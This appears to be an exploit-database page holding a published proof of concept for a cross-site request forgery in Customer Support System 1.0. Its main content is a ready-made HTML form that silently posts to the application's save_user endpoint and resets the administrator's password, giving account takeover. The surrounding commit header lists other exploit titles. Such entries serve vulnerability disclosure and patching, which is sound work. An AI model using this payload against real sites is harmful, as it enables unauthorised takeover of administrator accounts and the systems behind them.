e9fc264b77
4 changes to exploits/shellcodes Customer Support System 1.0 - 'description' Stored XSS in The Admin Panel Customer Support System 1.0 - Cross-Site Request Forgery Customer Support System 1.0 - 'username' Authentication Bypass CMSUno 1.6.2 - 'user' Remote Code Execution (Authenticated)
30 lines
No EOL
1.4 KiB
Text
30 lines
No EOL
1.4 KiB
Text
# Exploit Title: Customer Support System 1.0 - Cross-Site Request Forgery (Admin Account Takeover)
|
|
# Date: 2020-11-11
|
|
# Exploit Author: Ahmed Abbas
|
|
# Vendor Homepage: https://www.sourcecodester.com/php/14587/customer-support-system-using-phpmysqli-source-code.html
|
|
# Software Link: https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code
|
|
# Version: 1.0
|
|
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
|
|
|
|
|
|
# Description : Admin Account Takeover
|
|
# Vulnerability Details
|
|
[+] The username and password parameters can be forged to force the password change of admin user account.
|
|
|
|
# POC - CSRF HTML
|
|
<html>
|
|
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
|
<body>
|
|
<script>history.pushState('', '', '/')</script>
|
|
<form action="http://localhost/customer_support/ajax.php?action=save_user" method="POST">
|
|
<input type="hidden" name="id" value="1" />
|
|
<input type="hidden" name="table" value="users" />
|
|
<input type="hidden" name="firstname" value="Administrator" />
|
|
<input type="hidden" name="middlename" value="" />
|
|
<input type="hidden" name="lastname" value="" />
|
|
<input type="hidden" name="username" value="admin" />
|
|
<input type="hidden" name="password" value="newpass" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html> |